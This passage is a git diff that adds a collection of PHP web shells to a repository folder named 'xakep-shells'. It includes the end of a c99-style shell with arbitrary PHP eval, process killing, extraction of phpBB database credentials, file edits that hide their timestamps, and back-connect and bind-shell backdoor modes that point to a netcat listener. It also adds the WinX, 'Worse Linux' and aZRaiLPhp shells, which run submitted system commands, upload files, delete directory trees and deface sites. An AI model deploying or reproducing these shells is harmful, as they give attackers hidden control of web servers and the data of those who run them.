+ else {$row[] = " ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "\n";
+ echo " ".
+ "";
+ foreach($table as $row) {
+ echo "";
+ foreach($row as $v) {echo "".$v." ";}
+ echo " \r\n";
+ }
+ echo "
".
+ "".
+ "";
+ echo " ";
+ }
+}
+if ($act == "tools") //Define Yourself
+{
+
+}
+if ($act == "phpfsys") {
+ echo "";
+ $fsfunc = $phpfsysfunc;
+ if ($fsfunc=="copy") {
+ if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
+ else { echo "
Success! $arg1 copied to $arg2\n"; }
+ }
+ elseif ($fsfunc=="rename") {
+ if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
+ else { echo "
Success! $arg1 renamed/moved to $arg2\n"; }
+ }
+ elseif ($fsfunc=="chmod") {
+ if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
+ else { echo "
Perm for $arg1 changed to $arg2! \n"; }
+ }
+ elseif ($fsfunc=="read") {
+ $hasil = @file_get_contents($arg1);
+ echo "
Filename: $arg1
";
+ echo "
";
+ echo $hasil;
+ echo " \n";
+ }
+ elseif ($fsfunc=="write") {
+ if(@file_put_contents($d.$arg1,$arg2)) {
+ echo "
Saved! ".$d.$arg1;
+ }
+ else { echo "
Couldn't write to $arg1!
"; }
+ }
+ elseif ($fsfunc=="downloadbin") {
+ $handle = fopen($arg1, "rb");
+ $contents = '';
+ while (!feof($handle)) {
+ $contents .= fread($handle, 8192);
+ }
+ $r = @fopen($d.$arg2,'w');
+ if (fwrite($r,$contents)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
+ else { echo "
Couldn't write to ".$d.$arg2."!
"; }
+ fclose($r);
+ fclose($handle);
+ }
+ elseif ($fsfunc=="download") {
+ $text = implode('', file($arg1));
+ if ($text) {
+ $r = @fopen($d.$arg2,'w');
+ if (fwrite($r,$text)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
+ else { echo "
Couldn't write to ".$d.$arg2."!
"; }
+ fclose($r);
+ }
+ else { echo "
Couldn't download from $arg1!
";}
+ }
+ elseif ($fsfunc=='mkdir') {
+ $thedir = $d.$arg1;
+ if ($thedir != $d) {
+ if (file_exists($thedir)) { echo "
Already exists: ".htmlspecialchars($thedir); }
+ elseif (!mkdir($thedir)) { echo "
Access denied: ".htmlspecialchars($thedir); }
+ else { echo "
Dir created: ".htmlspecialchars($thedir);}
+ }
+ else { echo "Couldn't create current dir:
$thedir "; }
+ }
+ elseif ($fsfunc=='fwritabledir') {
+ function recurse_dir($dir,$max_dir) {
+ global $dir_count;
+ $dir_count++;
+ if( $cdir = @dir($dir) ) {
+ while( $entry = $cdir-> read() ) {
+ if( $entry != '.' && $entry != '..' ) {
+ if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
+ if ($dir_count > $max_dir) { return; }
+ echo "[".$dir_count."] ".$dir.$entry."\n";
+ recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
+ }
+ }
+ }
+ $cdir->close();
+ }
+ }
+ if (!$arg1) { $arg1 = $d; }
+ if (!$arg2) { $arg2 = 10; }
+ echo "
Writable directories (Max: $arg2) in: $arg1
";
+ echo "
";
+ recurse_dir($arg1,$arg2);
+ echo " ";
+ $total = $dir_count - 1;
+ echo "
Founds: ".$total." of
Max $arg2";
+ }
+ else {
+ if (!$arg1) { echo "
No operation! Please fill parameter [A]!
\n"; }
+ else {
+ if ($hasil = $fsfunc($arg1)) {
+ echo "
Result of $fsfunc $arg1: ";
+ if (!is_array($hasil)) { echo "$hasil\n"; }
+ else {
+ echo "
";
+ foreach ($hasil as $v) { echo $v."\n"; }
+ echo " ";
+ }
+ }
+ else { echo "
$fsfunc $arg1 failed!
\n"; }
+ }
+ }
+ echo "
\n";
+}
+if ($act == "processes") {
+ echo "";
+ if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
+ else { $handler = "tasklist"; }
+ $ret = myshellexec($handler);
+ if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
+ else {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {
+ $y = " ";
+ }
+ else {
+ $y = " ";
+ }
+ $ret = htmlspecialchars($ret);
+ if (!$win) {
+ if ($pid) {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line) {
+ if (!empty($line)) {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ //For Windows - Fixed By dhie-Q
+ else {
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
+ $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
+ $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
+ $head = explode(" ",$stack[0]);
+ $stack = array_slice($stack,1);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") { $y = " "; }
+ else { $y = " "; }
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." "; }
+ }
+ $prcs = array();
+ unset($stack[0]);
+ foreach ($stack as $line) {
+ if (!empty($line)) {
+ $line = explode(" ",$line);
+ $line[4] = str_replace(".","",$line[4]);
+ $line[4] = intval($line[4]) * 1024;
+ unset($line[5]);
+ $prcs[] = $line;
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k) {
+ echo "";
+ foreach($k as $j=>$v) {
+ if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
+ echo "".$v." ";
+ }
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval") {
+ if (!empty($eval)) {
+ echo "Result of execution this PHP-code: ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp) {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt) {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else {
+ if ($eval_txt) {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "PHP-code Execution (Use without PHP Braces!) "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f") {
+ echo "";
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
+ if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "
File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("
","info"),
+ array("
","html"),
+ array("
","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array("
","exe"),
+ array("SDB","sdb"),
+ array("
","img"),
+ array("
","ini"),
+ array("
","download"),
+ array("
","notepad"),
+ array("
","edit")
+ );
+ echo "
Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type:
";
+ foreach($arr as $t) {
+ if ($t[1] == $rft) {echo "
".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo "
".$t[0]." ";}
+ else {echo "
".$t[0]." ";}
+ echo " (
+ ) |";
+ }
+ echo "
";
+ if ($ft == "info") {
+ echo "
Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win) {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi) {
+ if ($fullhexdump) {echo "
FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "
HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000
";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i
";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ echo "".
+ "".$a0." ".
+ "".$a1." ".
+ "".$a2." ".
+ "
";
+ }
+ $encoded = "";
+ if ($base64 == 1) {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2) {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3) {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4) {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+ [Encode ]
+ [+chunk ]
+ [+chunk+quotes ]
+ [Decode ]
+ ";
+ }
+ elseif ($ft == "html") {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess") {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe") {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code") {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
+ $arr = explode("\n",$r);
+ if (count($arr == 18)) {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download") {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad") {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img") {
+ $inf = getimagesize($d.$f);
+ if (!$white) {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v) {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit") {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+}
+echo " \n";
+}
+}
+else {
+@ob_clean();
+$images = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+"Wg0JADs=",
+"buffer"=>
+"R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ClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
+"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
+"Ow==",
+"ext_doc"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
+"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+"ext_exe"=>
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+"xhIAOw==",
+"ext_h"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+"Wq/NknbbSgAAOw==",
+"ext_hpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+"UqUagnbLdZa+YFcCADs=",
+"ext_htaccess"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAA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g".
+"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
+"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
+"u4tLAgEAOw==",
+"ext_txt"=>
+"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7"
+);
+//Untuk optimalisasi ukuran dan kecepatan.
+$imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+);
+if (!$getall) {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+}
+else {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+}
+exit;
+}
+if ($act == "about") {
+ echo "Credits: Idea, leading and coding by tristram [CCTeaM] Beta-testing and some tips by NukLeoN [AnTiSh@Re tEaM] Re-Coding, tricks, and css by dhie-Q [LamPuNG-HacKerR] Thanks all who report bugs Please report bugs to dhie-Q ";
+}
+if ($act == "backc") {
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Back-Connection: Host: Port: Use: Perl C Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 ' ");
+ echo("$msg");
+ echo("$emsg");
+}
+if ($act == "shbd"){
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Bind Shell Backdoor:
+ Bind Port:
+
+ ");
+ echo("$msg");
+ echo("$emsg");
+ echo(" ");
+}
+echo "
\n";
+//COMMANDS PANEL
+?>
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/Test.php.php.txt b/xakep-shells/PHP/Test.php.php.txt
new file mode 100644
index 0000000..2b0e8a3
--- /dev/null
+++ b/xakep-shells/PHP/Test.php.php.txt
@@ -0,0 +1,13 @@
+
+
+
+$fp =@fopen("index.htm", "a+");
+$yazi = "test" . "\r\n";
+fwrite ($fp, "$yazi");
+fclose ($fp);
+?>
diff --git a/xakep-shells/PHP/WinX Shell.html.txt b/xakep-shells/PHP/WinX Shell.html.txt
new file mode 100644
index 0000000..9957c9f
--- /dev/null
+++ b/xakep-shells/PHP/WinX Shell.html.txt
@@ -0,0 +1,103 @@
+-:[GreenwooD]:- WinX Shell
+
+";
+print "";
+print "You: " ;
+print " ".$_SERVER['REMOTE_ADDR']." [".$host." ] " ;
+print " ";
+print "";
+print "Version OS: " ;
+print " $veros ";
+print " ";
+print "";
+print "Server: ";
+print "".$_SERVER['SERVER_SIGNATURE']." ";
+print " ";
+print "";
+print "Win Dir: ";
+print " $windir ";
+print " ";
+print "
";
+print " ";
+
+//------- [netstat -an] and [ipconfig] and [tasklist] ------------
+print "";
+print " ";
+print " ";
+print " ";
+print " ";
+print " ";
+print " ";
+//-------------------------------
+
+
+//-------------------------------
+
+print "";
+ system($cmd);
+print " ";
+print " ";
+
+//-------------------------------
+
+print "";
+print "CMD: ";
+print " ";
+print " ";
+print " ";
+print " ";
+
+//-------------------------------
+
+print "";
+print "Upload: ";
+print " ";
+print " ";
+print "File: ";
+print " Filename on server: ";
+print" ";
+print" ";
+
+?>
+
+
+
+
+// Script for uploading
+ if (is_uploaded_file($userfile)) {
+move_uploaded_file($userfile, $serverfile);
+}
+
+?>
+
+
+Created by -:[GreenwooD]:-
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/Worse Linux Shell.php.txt b/xakep-shells/PHP/Worse Linux Shell.php.txt
new file mode 100644
index 0000000..434721a
--- /dev/null
+++ b/xakep-shells/PHP/Worse Linux Shell.php.txt
@@ -0,0 +1,69 @@
+body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}";
+print "#worst @dal.net ";
+print "You have been hack By Shany with Love To #worst. ";
+print "Watch Your system Shany was here. ";
+print "Linux Shells ";
+print " ";
+
+$currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
+$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
+
+$UName = `uname -a`;
+$SCWD = `pwd`;
+$UserID = `id`;
+
+if( $currentWD == "" ) {
+ $currentWD = $SCWD;
+}
+
+print "";
+print "We are: ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].") ";
+print "Server is: ".$_SERVER['SERVER_SIGNATURE']." ";
+print "System type: $UName ";
+print "Our permissions: $UserID ";
+print "
";
+
+print " ";
+
+if( $_POST['_act'] == "List files!" ) {
+ $currentCMD = "ls -la";
+}
+
+print " ";
+
+$currentCMD = str_replace("\\\"","\"",$currentCMD);
+$currentCMD = str_replace("\\\'","\'",$currentCMD);
+
+if( $_POST['_act'] == "Upload!" ) {
+ if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
+ print "Error while uploading file! ";
+ } else {
+ print "";
+ system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
+ print " File uploaded successfully! ";
+ }
+} else {
+ print "\n\n\n\n";
+ $currentCMD = "cd ".$currentWD.";".$currentCMD;
+ system($currentCMD);
+ print "\n \n\n\nCommand completed ";
+}
+
+exit;
+
+?>
diff --git a/xakep-shells/PHP/aZRaiLPhp v1.0.php.txt b/xakep-shells/PHP/aZRaiLPhp v1.0.php.txt
new file mode 100644
index 0000000..17aed57
--- /dev/null
+++ b/xakep-shells/PHP/aZRaiLPhp v1.0.php.txt
@@ -0,0 +1,284 @@
+read()) {
+ if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
+ @chmod("$deldir/$file",0777);
+ deltree("$deldir/$file");
+ }
+ if (is_file("$deldir/$file")) {
+ @chmod("$deldir/$file",0777);
+ @unlink("$deldir/$file");
+ }
+ }
+ $mydir->close();
+ @chmod("$deldir",0777);
+ echo @rmdir($deldir) ? "SÝLÝNDÝ:$deldir/$file " : "
Silinemedi:$deldir/$file ";
+ }
+
+if ($op=='phpinfo'){
+$fonk_kap = get_cfg_var("fonksiyonlarý_kapat");
+ echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "phpinfo() Komutu Çalýþmýyiii ";
+ exit;
+}
+
+
+echo "
+
+ azrail 1.0 by C-W-M
+
+
+
+ ";
+
+echo " aZRaiLPhp v1.0!!!
+ C-W-M HACKER
+ ";
+echo "PHP INFO ";
+echo "
+ ";
+
+echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
+echo "
+ Root Klasör: $DOCUMENT_ROOT
+ aZRaiLPhP'nin URL'si: http://$HTTP_HOST$REDIRECT_URL
";
+
+if(!isset($dir)){
+$dir="$default";
+}
+echo "
+
+
+
";
+
+if ($op=='up'){
+ $path=dir;
+ echo "DOSYA GONDERME ";
+if(isset($dosya_gonder)) {
+
+if (copy ( $dosya_gonder, "$dir/$dosya_gonder_name" )){
+ echo "Dosya Baþarýyla Gönderildi ";
+}
+} elseif(empty($dosya_gonder)) {
+$path=$dir;
+$dir = $dosya_dizin;
+echo "$dir";
+echo "";
+echo " ";
+
+echo " ";
+echo " ";
+
+
+echo "";
+} else {
+die ("Dosya kopyalanamýyor! ");
+}
+}
+
+if($op=='mf'){
+ $path=$dir;
+ if(isset($dismi) && isset($kodlar)){
+ $ydosya="$path/$dismi";
+ if(file_exists("$path/$dismi")){
+ $dos= "Böyle Bir Dosya Vardý Üzerine Yazýldý";
+ } else {
+ $dos = "Dosya Oluþturuldu";
+ }
+ touch ("$path/$dismi") or die("Dosya Oluþturulamýyor");
+ $ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak için açýlamýyor");
+ fwrite($ydosya2, $kodlar) or die("Dosyaya yazýlamýyor");
+ fclose($ydosya2);
+ echo "$dos ";
+ } else {
+
+ echo "";
+ echo "Dosya Ýsmi : ";
+ echo " ";
+ echo "KODLAR ";
+ echo " ";
+ echo " ";
+ echo " ";
+ }
+}
+
+if($op=='md'){
+ $path=$dir;
+ if(isset($kismi) && isset($okmf)){
+ $klasör="$path/$kismi";
+ mkdir("$klasör", 0777) or die ("Klasör Oluþturulamýyor ");
+ echo "Klasör Oluþturuldu ";
+ }
+
+ echo "";
+ echo "Klasör Ýsmi : ";
+ echo " ";
+ echo " ";
+ echo " ";
+}
+
+
+if($op=='del'){
+unlink("$fname");
+}
+
+
+if($op=='dd'){
+ $dir=$here;
+ $deldirs=$yol;
+ if(!file_exists("$deldirs")) {
+ echo "Dosya Yok ";
+ } else {
+ deltree($deldirs);
+ }
+}
+
+
+
+if($op=='edit'){
+$yol=$fname;
+$yold=$path;
+if (isset($ok)){
